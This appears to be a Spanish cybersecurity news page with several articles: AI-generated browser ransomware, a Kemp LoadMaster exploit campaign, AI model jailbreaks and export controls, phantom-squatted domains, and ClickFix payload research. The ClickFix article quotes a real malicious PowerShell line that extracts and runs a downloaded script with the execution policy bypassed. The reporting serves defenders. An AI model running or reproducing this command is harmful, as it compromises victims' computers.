El ransomware de navegador generado por IA abusa de la API de Chromium en Windows y Android – CYBERDEFENSA.MX

Los investigadores de ciberseguridad han marcado un nuevo artefacto de malware generado utilizando DeepSeek que construyó una ruta de ataque novedosa que combina «conceptos de malware de navegador poco realistas con una capacidad real del navegador» para convertirlo en una técnica de ransomware funcional que se ejecuta completamente dentro del navegador en dispositivos Windows y Android.

«Este es el primer caso documentado en el que un modelo de inteligencia artificial de frontera cerró de forma independiente la brecha entre un riesgo teórico de ransomware exclusivo del navegador y una cadena de ataque práctica y funcional, lo que reveló una ruta de ataque novedosa que los defensores habían descartado anteriormente como inviable debido a los límites del espacio aislado del navegador», dijo Check Point en un comunicado compartido con The Hacker News.

«La experiencia necesaria para descubrir una nueva ruta de ataque ya no es el cuello de botella, y los defensores deben tener en cuenta ese cambio ahora, antes de que los actores de amenazas lo pongan en práctica a escala».

La muestra identificada es una aplicación Python Flask llamada «deepseek_python_20260125_da0631.py» que se subió a VirusTotal el 25 de enero de 2026, y el servicio de escaneo de malware propiedad de Google lo describió como un «kit de herramientas de ransomware y ladrón de información completamente funcional». InfernoGrabber v9.0 del autor del malware.

Ciberseguridad

La aplicación está diseñada para funcionar como un servidor web malicioso que atrae a las víctimas con un escalador de IA de avatar de Discord falso, mientras ejecuta sigilosamente una amplia gama de acciones dañinas, incluido el robo de tokens de Discord, la recopilación de números de tarjetas de crédito y frases iniciales de criptomonedas, el registro de pulsaciones de teclas y la captura de transmisiones de micrófonos y cámaras web no autorizadas.

«El código incluye rutinas específicas para la explotación del navegador (dirigidas a CVE como CVE-2023-4863), exfiltración de datos a través de un webhook de Discord codificado, una pantalla de ransomware ‘WinLocker’ que exige Bitcoin y un panel administrativo para que el atacante administre los datos robados», según VirusTotal.

Los hallazgos se producen mientras la inteligencia artificial y los grandes modelos de lenguaje (LLM) están redefiniendo el panorama de las amenazas cibernéticas, permitiendo a los actores de amenazas abusar de la tecnología para desarrollar malware y exploits. El uso de DeepSeek es digno de mención, ya que indica que los modelos de la compañía china tienen tasas de rechazo más bajas para solicitudes cibernéticas maliciosas en comparación con sus homólogos occidentales de Anthropic, Google u OpenAI.

Otros factores que pueden haber facilitado el uso de DeepSeek son su acceso gratuito a través de la interfaz web, su disponibilidad en regiones donde no operan otros modelos fronterizos y su capacidad para generar una aplicación maliciosa funcional a partir de un «único mensaje amplio» a diferencia de los modelos de Anthropic u OpenAI.

«Los modelos DeepSeek pueden convertir ideas maliciosas de alto nivel en ataques concretos y completos con menos experiencia que las plataformas de la competencia», afirmó Check Point Research.

La empresa israelí de ciberseguridad dijo que descubrió el artefacto Python como parte de su análisis de unos 3.000 archivos atribuidos a DeepSeek durante el año pasado. De ellas, 1.383 muestras han sido clasificadas como maliciosas o peligrosas. El malware Python es un ejemplo de lo que se llama In-Browser Ransomware que implementa una técnica nativa del navegador que no se encontraba en campañas del mundo real en el pasado. Se desconoce el mensaje exacto que se utilizó para producir la muestra.

La técnica de ataque implica el uso de un señuelo de phishing para engañar a un usuario para que conceda acceso al sistema de archivos de una página web, que luego enumera los archivos locales en la carpeta seleccionada, lee y filtra su contenido, los cifra y sobrescribe, y finalmente muestra una nota de extorsión a la víctima. Lo que hace que esto sea más inusual es que todo esto se puede lograr sin instalar una carga útil nativa, explotar una vulnerabilidad del navegador o requerir acceso de root.

Vale la pena mencionar aquí que el enfoque se limita a los navegadores web que exponen el selector basado en API de acceso al sistema de archivos. Esto incluye Google Chrome y otros navegadores basados ​​en Chromium en los sistemas operativos Windows y Android. No hay evidencia de que se haya abusado del patrón de ransomware nativo del navegador en la naturaleza.

Ciberseguridad

Otro aspecto preocupante del desarrollo asistido por IA es que no sólo reduce la barrera para que los malos actores generen código ofensivo, sino también el hecho de que ni siquiera necesitan saber que existe dicha API de acceso al sistema de archivos, ni tener la experiencia técnica para abusar de ella.

Dicho de otra manera, ingresar un mensaje demasiado amplio es suficiente para que un LLM (sujeto a barreras de seguridad, o a la falta de ellas) formule un plan de ataque funcional a partir de una solicitud maliciosa abstracta. Cuando un usuario con conocimientos técnicos limitados describe requisitos poco realistas, el modelo, en su búsqueda por satisfacerlos, puede generar resultados alucinantes, sacando a la luz técnicas inusuales en el proceso.

«Lo que estamos presenciando es un cambio fundamental en cómo nacen los nuevos ciberataques. Por primera vez, tenemos evidencia de que un modelo de IA puede razonar de forma independiente a través de características legítimas de la plataforma y sacar a la luz una técnica de ataque funcional sobre la cual los humanos sólo habían teorizado, sin que el atacante supiera que existía la API subyacente», dijo en un comunicado Eli Smadja, jefe de investigación de Check Point Research.

«La barrera para poner en práctica ataques complejos se está derrumbando, y eso tiene profundas implicaciones para cada organización que incorpora IA en sus flujos de trabajo, y para cada usuario móvil que ahora lleva toda su vida personal y profesional dentro de una biblioteca de fotos. El futuro de la seguridad de la IA no puede descansar en la esperanza de que los modelos rechacen la solicitud maliciosa obvia; debe asumir que la siguiente técnica de ataque será descubierta no por un investigador humano, sino por una alucinación de la IA que accidentalmente hizo algo bien».

Smadja también insta a las organizaciones a prepararse fortaleciendo la capa de entrega, reconsiderando la confianza basada en permisos y tratando cada mensaje del navegador como una decisión de seguridad.

La falla de Progress Kemp LoadMaster Pre-Auth RCE enfrenta intentos de explotación activa – CYBERDEFENSA.MX

Una falla de seguridad crítica recientemente revelada que afecta a Progress Kemp LoadMaster está experimentando intentos de explotación activa, según un consultivo de la Unidad de Respuesta a Amenazas (TRU) de eSentire.

La empresa canadiense de ciberseguridad dijo que identificó intentos de explotación dirigidos a CVE-2026-8037 (Puntuación CVSS: 9,6), una falla de inyección de comandos del sistema operativo (SO) que podría explotarse para lograr la ejecución de código arbitrario en dispositivos susceptibles. La actividad de explotación se inició el 29 de junio de 2026.

«Vulnerabilidad de ejecución remota de código de inyección de comandos del sistema operativo en API en progreso LoadMaster permite a un atacante no autenticado con permisos ejecutar comandos arbitrarios en el dispositivo LoadMaster explotando entradas no desinfectadas», Progreso dicho en un aviso sobre la vulnerabilidad publicado a principios del mes pasado.

En un análisis publicado esta semana, watchTowr Labs describió que la falla tiene su origen en una función llamada «escape_quotes()» dentro de la aplicación del balanceador de carga y que se debe al manejo inadecuado de la entrada proporcionada por el usuario.

Ciberseguridad

El problema era que la función no lograba terminar en nulo correctamente las cadenas desinfectadas, lo que provocaba una lectura fuera de límites en la memoria del montón adyacente. Un atacante podría utilizar esta laguna como arma para emitir solicitudes especialmente diseñadas al punto final «/accessv2» que manipula la memoria del montón para permitir la inyección de comandos.

El impacto de una explotación exitosa es grave, ya que permite que un atacante no autenticado ejecute comandos arbitrarios en el dispositivo afectado sin tener que poseer credenciales válidas.

eSentire señaló que los esfuerzos de explotación que observó terminaron en fracaso, como resultado de lo cual no se produjo ninguna actividad posterior al compromiso. Sin embargo, se espera que la disponibilidad de un exploit de prueba de concepto (PoC) y detalles técnicos detallados impulsen actividad maliciosa contra CVE-2026-8037 en el futuro inmediato.

Los intentos de ataque se originan en las siguientes direcciones IP:

  • 192.42.116[.]58
  • 192.42.116[.]105
  • 146.70.139[.]154

CVE-2026-8037 es la segunda falla de Progress Progress Kemp LoadMaster que presencia esfuerzos de explotación activa después de CVE-2024-1212 (puntuación CVSS: 10.0), otra vulnerabilidad crítica de inyección de comandos del sistema operativo de la que se podría abusar para la ejecución arbitraria de comandos del sistema.

La brecha entre conciencia y resiliencia – CYBERDEFENSA.MX

Las organizaciones nunca han tenido mayor conciencia del riesgo cibernético. Sin embargo, convertir esa conciencia en resiliencia operativa nunca ha sido tan desafiante. El Evaluación de ciberseguridad de Bitdefender 2026 confirma que este es el caso, ya que los hallazgos de este año revelan una serie de contradicciones sorprendentes.

A continuación se muestran algunos ejemplos, basados ​​en una encuesta independiente realizada a 1200 profesionales de TI y ciberseguridad en seis países.

  1. TI y seguridad los líderes creen Tienen suficiente visibilidad sobre el uso de la IA de los empleados, mientras que muchos los practicantes de primera línea no están de acuerdo.
  2. Los equipos de seguridad comprenden la importancia de reducir la superficie de ataque, pero a menudo carecen de las habilidades, los recursos o la estrategia para hacerlo.
  3. La IA domina las conversaciones sobre ciberseguridad, pero en algunos casos desvía la atención de técnicas de ataque más frecuentes que ya causan daños importantes.
  4. Aunque las organizaciones dicen que reconocen la importancia de la transparencia después de una infracción, muchos profesionales todavía informan que se les presiona para permanecer en silencio, incluso si la infracción es denunciable.

En conjunto, estos hallazgos apuntan a una industria que lucha con una nueva realidad: la brecha entre conciencia y resiliencia.

La IA se ha convertido en la mayor prioridad y el mayor punto ciego

La inteligencia artificial se ha convertido rápidamente en parte de las operaciones comerciales cotidianas, ya sea que los equipos de seguridad lo hayan planificado o no. Sin embargo, la visibilidad de ese uso sigue siendo sorprendentemente inconsistente.

Mientras que el 51,8% de los encuestados cree que tiene visibilidad total del uso de IA autorizado y no autorizado, el 47,4% admite que tiene sólo una visibilidad parcial o nula de las herramientas de IA en la sombra o de las cuentas personales de IA que se utilizan para el trabajo.

La desconexión se vuelve aún más sorprendente cuando se compara el liderazgo con los profesionales. Casi el 58% de los directivos creen que tienen una visibilidad completa, mientras que sólo el 45,9% de los profesionales están de acuerdo.

La implicación: muchas organizaciones pueden estar tomando decisiones estratégicas basadas en una imagen incompleta de su exposición a la IA.

La mayoría está de acuerdo en que la reducción de la superficie de ataque es importante: pocos pueden lograrla

Reducir la exposición innecesaria se ha convertido en una de las prioridades más aceptadas de la ciberseguridad. En realidad hacerlo es otra cuestión.

Los encuestados identificaron el mantenimiento de políticas y excepciones más estrictas (38%), el miedo a interrumpir las operaciones comerciales (35,4%) y los recursos limitados (34,6%) como los mayores obstáculos para reducir la superficie de ataque. Otro 33,8% citó incertidumbre sobre qué herramientas legítimas necesitan realmente los usuarios individuales, y esa cifra aumentó al 48,8% entre las organizaciones estadounidenses.

El desafío no es convencer a nadie del valor de reducir la superficie de ataque; en cambio, se trata de encontrar una manera de hacerlo dinámicamente, sin interrumpir la productividad ni crear una carga operativa adicional.

La IA domina la atención y se ignoran las amenazas más frecuentes

En la evaluación de este año, los profesionales de la seguridad clasifican las amenazas relacionadas con la IA como sus tres principales preocupaciones en materia de ciberseguridad. Esto incluye: malware automutante (55,9%), filtración de datos públicos de LLM (53,5%) y técnicas de evasión impulsadas por IA (52,5%), todas calificadas como riesgos altos o extremos por los encuestados.

Sin embargo, la inteligencia sobre amenazas actual presenta un panorama más matizado.

En lugar de inventar técnicas de ataque completamente nuevas, los adversarios están utilizando en gran medida la IA para mejorar las técnicas existentes, como hacer que las campañas de phishing sean más convincentes, automatizar el reconocimiento y acelerar la ejecución de ataques.

Mientras tanto, uno de los métodos de ataque más frecuentes en la actualidad sigue recibiendo comparativamente poca atención.

Bitdefender Labs descubrió recientemente que el 84% de los ataques de alta gravedad aprovecharon las técnicas Living off the Land (LOTL) abusando de herramientas legítimas ya presentes dentro del entorno. Sin embargo, sólo uno de cada cinco encuestados clasificó los ataques LOTL entre sus tres principales preocupaciones.

Esto sugiere que, si bien la IA merece atención, las organizaciones no pueden permitirse el lujo de perder de vista las amenazas que ya tienen éxito en la actualidad.

La transparencia sigue siendo uno de los desafíos más difíciles de la ciberseguridad

Quizás el hallazgo más sorprendente de este año no tenga que ver con los atacantes en absoluto.

Se trata de cultura organizacional.

Más de la mitad (55,2%) de los encuestados que sufrieron una infracción durante los doce meses anteriores dicen que se les ordenó mantener el incidente confidencial a pesar de creer que las autoridades deberían haber sido notificadas.

La cifra se eleva al 68,6% en Estados Unidos.

Estos hallazgos plantean preguntas importantes sobre la gobernanza, el cumplimiento y la confianza. Responder eficazmente a un incidente cibernético ya no se mide únicamente por la recuperación técnica. Cada vez más, la resiliencia incluye transparencia, rendición de cuentas y confianza en la toma de decisiones cuando ocurren incidentes.

La conciencia ya no es suficiente

Tomado individualmente, cada hallazgo es interesante. En conjunto, revelan algo mucho más grande.

Las organizaciones comprenden los riesgos cibernéticos actuales mejor que nunca. Saben que la IA introduce una nueva exposición. Reconocen la importancia de reducir la superficie de ataque. Aprecian la necesidad de transparencia y resiliencia.

Lo que sigue siendo difícil es poner en práctica esa comprensión y al mismo tiempo equilibrar la productividad, la complejidad, el cumplimiento y los recursos limitados.

Ese es el verdadero desafío de definir la ciberseguridad en 2026.

Vea cómo se compara su organización

Para explorar los resultados completos, compare las tendencias regionales y compare su organización con 1200 profesionales de ciberseguridad en todo el mundo:

Porque las organizaciones mejor preparadas para las amenazas del mañana no se limitarán a comprender los riesgos: serán las que sepan cómo convertir esa comprensión en resiliencia.

¿Encontró interesante este artículo? Este artículo es una contribución de uno de nuestros valiosos socios. Síguenos en noticias de google, Gorjeo y LinkedIn para leer más contenido exclusivo que publicamos.

Microsoft acelera el cambio de criptografía poscuántica hasta 2029 – CYBERDEFENSA.MX

Microsoft dijo el martes que está acelerando su hoja de ruta de seguridad cuántica, afirmando que los avances tecnológicos en la computación cuántica hacen que sea esencial reemplazar los estándares de cifrado existentes antes de lo esperado.

«Los avances en la investigación y el desarrollo cuánticos han cambiado el horizonte de riesgo», dijo Mark Russinovich, director de tecnología de Microsoft Azure. dicho. «Creemos que las computadoras cuánticas criptográficamente relevantes podrían llegar antes de lo esperado, y el trabajo requerido para prepararlas es significativo, por lo que las organizaciones deben comenzar ahora».

Para ello, el fabricante de Windows está acelerando el programa Microsoft Quantum Safe (QSP) cronograma con el objetivo de realizar la transición de productos y servicios críticos a la criptografía poscuántica (PQC) para 2029. La compañía también planea incorporar los requisitos de PQC en su Secure Future Initiative (SFI).

Ciberseguridad

Algunas áreas clave de enfoque incluyen la actualización de la criptografía de red mediante la adopción de TLS 1.3, la creación de criptoagilidad para los datos almacenados para facilitar la capacidad de cambiar la criptografía sin tener que rediseñar los sistemas subyacentes y la transición a algoritmos PQC para proteger las cadenas de confianza, como la firma de códigos, la emisión de certificados, la protección de claves y los canales de actualización.

«Esto lleva la preparación para la seguridad cuántica al mismo marco de ingeniería disciplinado que utilizamos para otros resultados de seguridad críticos: propiedad clara, hitos mensurables y progreso transparente», dijo Russinovich. «Integrar estas capacidades en nuestras plataformas permite a los clientes moverse más rápido y con más confianza».

Microsoft también señaló que la criptoagilidad es esencial para la migración poscuántica, y exige la necesidad de eliminar los supuestos de algoritmos codificados, conservar información adecuada para reconstruir el contexto criptográfico y construir sistemas tales que las actualizaciones de algoritmos se conviertan en tareas de ingeniería de rutina en lugar de reescrituras de emergencia.

«La criptoagilidad requiere metadatos criptográficos autodescriptivos o formatos de texto cifrado versionados para que las implementaciones puedan leer datos heredados mientras escriben con los algoritmos aprobados más nuevos», explicado. «Un sistema cripto-ágil bien diseñado debería apuntar a leer formatos de texto cifrado más antiguos durante el tiempo suficiente para soportar la migración, mientras escribe nuevos datos con la configuración aprobada más reciente».

El acontecimiento se produce días después de que el presidente de Estados Unidos, Donald Trump, firmara una orden ejecutiva que establecía plazos estrictos para que las agencias federales transfirieran activos de alto valor y sistemas de alto impacto a PQC.

Ciberseguridad

A principios de marzo, Google anunció un nuevo programa en su navegador Chrome para garantizar que los certificados HTTPS estén seguros contra el riesgo futuro que plantean las computadoras cuánticas. Ese mismo mes, el gigante tecnológico comprometido públicamente a migrar su propia infraestructura para que sea segura cuántica para 2029. La empresa de infraestructura web Cloudflare también ha hizo lo mismo con planes similares para avanzar hacia PQC para el mismo año.

La amenaza se ve agravada por lo que se llama «cosechar ahora, descifrar después», donde los adversarios pueden recopilar datos cifrados ahora con la esperanza de decodificarlos más tarde, una vez que una máquina cuántica a gran escala entre en funcionamiento.

Es más, un equipo de investigadores de Google revelado había mejorado drásticamente el algoritmo cuántico para romper la criptografía de curva elíptica, específicamente el logaritmo discreto de curva elíptica de 256 bits (ECDLP-256), utilizando menos qubits y puertas de los que se pensaba anteriormente.

Por otra parte, un grupo de académicos de Caltech y Oratomic demostrado un nuevo enfoque de corrección de errores que podría hacer algoritmo de shor práctico con tan solo 10.000 qubits reconfigurables y potencialmente romper RSA-2048 y P-256.

Anthropic restaura Claude Fable 5 después de que Estados Unidos levantara los controles de exportación vinculados al jailbreak – CYBERDEFENSA.MX

Antrópico es poner Claude Fábula 5 nuevamente en línea en todo el mundo. En 30 de junioel Departamento de Comercio de Estados Unidos levantó los controles de exportación que había impuesto a Fable y su hermano Mythos 5, más controlado, aproximadamente dos semanas y media antes.

Fable 5 regresa a los usuarios el miércoles 1 de julio en Claude.ai, Claude Platform, Claude Code y Claude Cowork.

Los controles de exportación restringen quién puede recibir o utilizar una tecnología. La orden del 12 de junio le ordenó a Anthropic que cortara ambos modelos para cualquier ciudadano extranjero, dentro o fuera de los Estados Unidos, incluido su propio personal no ciudadano.

La regla entró en vigor de inmediato y la compañía no tenía una forma confiable de verificar la nacionalidad de cada usuario en tiempo real, por lo que cerró ambos modelos para todos.

El detonante fue un jailbreak: un aviso que hace que un modelo eluda sus reglas de seguridad. Los investigadores de Amazon encontraron uno en Fable 5. Según Anthropic, el mensaje hizo que el modelo señalara algunas fallas de software y, en un caso, escribiera código que mostrara cómo se podía abusar de una falla.

Anthropic restó importancia al hallazgo. Dice que las mismas solicitudes también funcionan en muchos modelos más débiles, incluido su propio Claude Opus 4.8, el GPT-5.5 de OpenAI y el Kimi K2.7 de China. La compañía llama al comportamiento señalado un trabajo de seguridad defensiva de rutina, no una supercapacidad oculta.

El gobierno y el socio que informó sobre la fuga lo consideraron lo suficientemente grave como para justificar controles de emergencia.

Ciberseguridad

Para resolver la preocupación, Anthropic entrenó un nuevo filtro de seguridad, llamado clasificadorque busca la técnica exacta en el informe y la bloquea. La compañía dice que ahora detiene esa técnica en más del 99% de los intentos, según el artículo del 30 de junio. Las solicitudes bloqueadas se entregan al Opus 4.8 más débil y se le informa al usuario. La compensación es que habrá más falsas alarmas en la codificación y depuración normales.

Mythos 5, el mismo modelo subyacente con menos barandillas de seguridad, mantiene una correa más corta. El acceso regresó el 26 de junio para aproximadamente 100 empresas y agencias federales estadounidenses que defienden la infraestructura crítica. Anthropic dice que todavía está trabajando con el gobierno para ampliar el acceso.

El secretario de Comercio, Howard Lutnick, quien aprobó la reversión, dijo que su departamento había pasado dos semanas revisando los modelos con Anthropic. En su carta, la compañía acordó buscar problemas de seguridad por su cuenta, coordinar lanzamientos futuros e informar cualquier uso malicioso que detecte.

Según se informa, las negociaciones fueron dirigidas por el cofundador Tom Brown y no por el director ejecutivo Dario Amodei, quien ha chocado con la administración durante gran parte del año.

La pelea fue complicada desde el principio. Múltiples informes, incluido el de The Wall Street Journal, dijeron que la investigación de Amazon y las preocupaciones del director ejecutivo Andy Jassy ayudaron a impulsar el pedido original. Ex zar de la IA David Sacos acusó a Anthropic de haber «priorizado la oferta continua del modelo de consumo por encima de la seguridad». Otros lo interpretan como una sobrecorrección.

El investigador de gobernanza de IA de la Universidad de Sydney, Francesco Bailo, dijo a Al Jazeera que la reversión parecía como si el gobierno hubiera admitido que había ido demasiado lejos, y un grupo de líderes de seguridad había firmado una carta abierta pidiendo que se levantaran los controles.

Sobre todo ello flotaba la competencia. La pausa se produjo justo cuando los modelos chinos de código abierto baratos y capaces estaban ganando terreno, y varios ejecutivos advirtieron que congelar los modelos estadounidenses les daba a los rivales tiempo libre para ponerse al día.

Anthropic también propone algo de lo que carecía la industria: una forma compartida de clasificar qué tan peligroso es realmente un jailbreak. Con Amazon, Microsoft, Google y otros socios, quiere calificar a cada uno en cuatro aspectos:

  • Ganancia de capacidad: hasta qué punto el jailbreak lleva a un usuario más allá de las herramientas que ya tiene.
  • Amplitud: cuántos ataques diferentes desbloquea el mismo truco.
  • Facilidad de armamento: cuánta habilidad y esfuerzo se necesita para convertirlo en un ataque real.
  • Descubribilidad: Qué fácil es encontrar o copiar el truco.

Para los peores casos, como un jailbreak que permite ataques a redes eléctricas o bancos, Anthropic dice que comenzará a implementar correcciones en el momento en que se confirme la gravedad, y está formando un equipo para observar los informes de jailbreak las 24 horas del día.

Ciberseguridad

También abrió un programa hackerone para que los investigadores informen sobre nuevas fugas de Fable 5, y prometió al gobierno de EE. UU. acceso temprano para probar futuros modelos fronterizos antes de su lanzamiento.

Anthropic no es el único laboratorio en esta posición. Días antes, OpenAI presentó GPT-5.6 a un pequeño grupo aprobado por el gobierno en lugar de al público, citando la misma preocupación de doble uso: un modelo lo suficientemente bueno como para ayudar a los defensores a corregir errores también es lo suficientemente bueno para ayudar a los atacantes a encontrarlos.

El riesgo no es hipotético. A principios de esta primavera, Anthropic probó un modelo anterior de Mythos que encontró y explotó errores de día cero en todos los principales sistemas operativos y navegadores bajo comando, incluida una falla de 27 años en OpenBSD. Su equipo rojo convirtió errores recién revelados en exploits funcionales en menos de un día.

La crisis inmediata ha terminado. La pregunta más importante no es. A orden ejecutiva del 2 de junio creó un camino voluntario para que las empresas revisen los modelos de frontera antes de su lanzamiento. También estableció un punto de referencia clasificado para decidir qué modelos cuentan como «cubiertos», al tiempo que descarta cualquier licencia obligatoria para enviar uno. Fable 5 nunca pasó por ese camino.

En cambio, el gobierno recurrió a controles de exportación. Ésa es la cuestión: cuando Washington quiere avanzar rápidamente sobre un modelo fronterizo, todavía no tiene ningún proceso vinculante, sólo procesos improvisados.

Phantom Squatting utiliza dominios alucinados por IA para phishing y malware – CYBERDEFENSA.MX

Los grandes modelos lingüísticos siguen inventando direcciones web que no existen. Los atacantes comenzaron a comprar esos dominios inventados antes que nadie y luego alojaron páginas de phishing en ellos para captar el tráfico que las herramientas de inteligencia artificial señalan en su dirección.

La Unidad 42 de Palo Alto Networks decide el truco fantasma en cuclillasy su nueva investigación muestra que ya está sucediendo en la naturaleza.

La razón por la que importa es la confianza. Los desarrolladores y asistentes de IA tratan cada vez más los enlaces que un modelo devuelve como reales. Cuando un modelo inventa un dominio que aún no existe, quien lo registre primero hereda toda esa confianza fuera de lugar, sin necesidad de correo electrónico de phishing ni publicidad maliciosa.

Para medir el problema, la Unidad 42 formuló a dos modelos de IA 685.339 preguntas sobre 913 marcas conocidas en tecnología, finanzas, atención médica, gobierno, juegos de azar y otros sectores.

Los modelos produjeron 2,1 millones de enlaces. La inteligencia de amenazas ya marcó 13.229 de ellos como abiertamente maliciosos, lo que significa que la IA estaba repartiendo direcciones conocidas como malas. Aproximadamente 250.000 de los dominios inventados aún no tenían dueño, y cada uno de ellos era un objetivo listo para quien los registre primero.

Cómo funciona la sentadilla fantasma

El ataque funciona porque un dominio nuevo no tiene reputación. Las listas de bloqueo, las fuentes de amenazas y las puntuaciones de reputación necesitan que un sitio se comporte mal durante un tiempo antes de marcarlo.

Ciberseguridad

Un dominio fantasma recién registrado no tiene ese registro, por lo que esos filtros no tienen nada que señalar. Cuando se ponen al día, la víctima ya ha sido enviada al sitio mediante una herramienta en la que confían.

Dos detalles lo empeoran. Los dominios falsos no estaban en los datos de entrenamiento: ambos modelos se enviaron antes de que existieran los sitios maliciosos reales, por lo que las direcciones provienen de los propios patrones de lenguaje de los modelos, no de la memoria. Y esos patrones son consistentes.

A menudo, diferentes modelos inventan el mismo dominio falso para la misma pregunta, lo que hace que sea fácil adivinar el próximo objetivo de un atacante. Aumentar la configuración de «creatividad» de un modelo sólo produjo más dominios inventados. Como lo expresaron los investigadores de la Unidad 42, el vector «explota una propiedad estructural de las arquitecturas LLM que sigue siendo inherentemente imposible de parchear».

Dos casos observados

Dos casos muestran el ciclo completo. El 8 de marzo de 2026, el sistema de la Unidad 42 predijo que los modelos de IA inventarían un dominio parecido al mercado en línea de un servicio postal nacional. Ambos modelos lo generaron en cada ajuste de temperatura, una fuerte señal de que trataron el sitio falso como si fuera un hecho.

Veintitrés días después, el 31 de marzo, un atacante registró ese dominio exacto y creó un kit de phishing llamado Montana Empire. El kit copió el escaparate real en tiempo real. Robó números de tarjetas, datos de transferencias bancarias y datos de identificación nacional.

Un bot de Telegram permite al operador aprobar manualmente las contraseñas de un solo uso de las víctimas. La revelación: los archivos sobrantes del proyecto y los registros de sesiones mostraron que el criminal había creado el kit con un asistente de codificación de IA. El atacante y el defensor llegaron al mismo dominio falso de la misma manera, preguntando a una IA.

En el segundo caso, la Unidad 42 detectó un dominio de servicio postal alucinado 51 días antes de que un atacante lo registrara. Luego, el atacante lo envolvió en un clon de marca con píxeles perfectos, agregó una calificación falsa de 4,8 estrellas y un reclamo de más de dos millones de usuarios, y lo usó para impulsar una aplicación maliciosa de Android.

Otros dominios detectados se hacían pasar por un importante banco de los Emiratos Árabes Unidos del que un atacante ya había estado abusando durante casi un año, un banco europeo y sitios de apuestas deportivas dirigidos a usuarios de Bangladesh.

Un viejo truco con un nuevo objetivo

La sentadilla fantasma es la versión de dominio de cuclillasdonde los atacantes registran los nombres de paquetes de software falsos que inventan las herramientas de codificación de IA. Eso no es hipotético.

un grande Estudio USENIX Los modelos de generación de código encontrados sugieren rutinariamente nombres de paquetes que no existen, y la campaña PhantomRaven convirtió exactamente ese comportamiento en malware oculto en paquetes de 126 npm con más de 86.000 instalaciones.

Ciberseguridad

Apunta a un cambio mayor: los resultados del modelo se están convirtiendo en insumos. Los desarrolladores, agentes y equipos de seguridad actúan sobre enlaces y nombres generados por IA antes de que alguien los verifique, y la IA sigue reduciendo el tiempo que los defensores tienen para reaccionar.

También aterriza en un mundo donde el phishing de suplantación de marca es ahora un servicio pago, con kits como Lucid y Lighthouse que defienden 17.500 dominios falsos contra 316 marcas en 74 países.

que hacer

Debido a que los modelos alucinan constantemente, los equipos de seguridad pueden mapear qué dominios falsos es probable que produzca un modelo y observar a cualquiera que los registre, a menudo con semanas de advertencia. Para todos los demás, los pasos prácticos son sencillos:

  • No confíes en un enlace sólo porque lo dio una IA. Confirme que el dominio sea el oficial real antes de escribir una contraseña o pegarla en el código.
  • Evite que los agentes de IA abran o descarguen automáticamente enlaces generados por modelos sin verificación. Un agente no tiene instinto para dudar como lo haría una persona.
  • Trate todo lo que escriba un modelo como un borrador no verificado, no como una autoridad.

Esa ventana está abierta y recompensa a quien se mueve primero. La verdadera pregunta, tal como la plantea la Unidad 42, es simplemente si los defensores o los atacantes llegan antes a estos dominios.

Un investigador analiza 3000 cargas útiles de Live ClickFix, exponiendo la entrega de malware impulsada por API – CYBERDEFENSA.MX

Hacer clic en arreglarel truco que engaña a las personas para que ejecuten malware manualmente, se ha convertido silenciosamente en un back office.

Una nueva investigación muestra que los comandos maliciosos detrás de sus páginas falsas de «demuestra que eres humano» ahora son distribuidos por servidores basados ​​en API que le dan a cada visitante el mismo malware con un disfraz diferente. La misma investigación también reveló un nuevo método de entrega creado para eludir el escaneo de scripts de Windows.

El investigador de seguridad Bert-Jan Pals desmontó varias plataformas ClickFix y analizó aproximadamente 3000 cargas útiles de campañas en vivo. Presentó los hallazgos en naranjacon a principios de junio y publicó los detalles el 30 de junio.

ClickFix es simple por diseño. Una página con trampa explosiva muestra un CAPTCHA falso o un error, JavaScript oculto coloca un comando en su portapapeles y la página le indica que presione una combinación de teclas, pegue y presione Enter. Usted mismo ejecuta el malware.

Por lo general, no hay ningún exploit en el primer paso y, a menudo, no hay ningún archivo que los antivirus tradicionales puedan marcar, por lo que los controles convencionales de correo electrónico y terminales tienen menos que detectar.

Funciona lo suficientemente bien como para que ESET mida un 517% salto desde finales de 2024 hasta la primera mitad de 2025, y Microsoft Informe de defensa digital 2025 lo sitúa en el 47% de los casos de acceso inicial vistos por su equipo de Defender Experts.

Ciberseguridad

La técnica ahora tiene su propia entrada en MITRE ATT&CK, T1204.004.

Cargas útiles hechas a pedido

La parte nueva es cómo se producen las cargas útiles. Pals descubrió que las páginas extraían sus comandos de servidores backend que funcionan como un servicio bajo demanda: aceptan solicitudes, verifican un token de acceso, registran a la persona que llama y devuelven un comando recién codificado cada vez.

Le pidió a un servidor 100 cargas útiles y obtuvo 100 diferentes, envueltas en una mezcla rotativa de Base64, AES, TripleDES, Rijndael y Deflate. Quite el envoltorio y, al menos por ahora, todos se descomprimirán en el mismo script, que se ejecuta en la memoria a través de un espacio de ejecución de PowerShell.

El disfraz es desechable; el malware que contiene no lo es, aunque Pals advierte que la carga principal probablemente comenzará a cambiar según la víctima en poco tiempo. La misma plataforma sirve señuelos en 25 idiomas y hace coincidir el comando con el sistema operativo del visitante, con versiones de macOS ejecutándose junto con Windows.

La etiqueta «como servicio» no es sólo marca. ESET ha rastreado a delincuentes que venden constructores ClickFix ya preparados a otros atacantes. Pals encontró una comercialización paralela un nivel más profundo, en cómo cada carga útil se produce a pedido.

Una forma más silenciosa de entrar: el método de la carpeta de Descargas

El segundo hallazgo es una respuesta directa a los defensores que miran el portapapeles. En lugar de copiar un comando malicioso, las páginas más nuevas copian uno que parece inofensivo.

La página descarga silenciosamente un archivo a la carpeta Descargas y el portapapeles recibe una breve línea de «orquestador» que mueve ese archivo, lo descomprime y ejecuta el script que contiene. Debido a que la línea pegada es solo ese orquestador y no la carga útil en sí, está diseñada para pasar por alto AMSI, la característica de Windows que permite que el antivirus analice los scripts antes de que se ejecuten. El código incorrecto se encuentra en el archivo descargado, a un lado. La línea del portapapeles observada tenía este aspecto:

powershell -C «$t=$env:TMP;Move-Item \»$HOME\Downloads\tmp.zip\» \»$t\7947.zip\»;tar -xf \»$t\7947.zip\» -C \»$t\»;conhost –headless powershell -ExecutionPolicy Bypass -File \»$t\tmp.ps1\» # \»* No soy un robot reCAPTCHA ID de verificación: 7947 *\»»

La ejecución también se ha vuelto sigilosa. El señuelo original de 2024 decía a la gente que presionara Windows+R y lo pegara en el cuadro Ejecutar. Una versión más nueva, común hasta 2025 y 2026, los dirige a Windows+X y a la Terminal de Windows. El uso de la terminal parece más común y, a diferencia del cuadro Ejecutar, no deja rastro en la clave de registro RunMRU que los investigadores normalmente verifican.

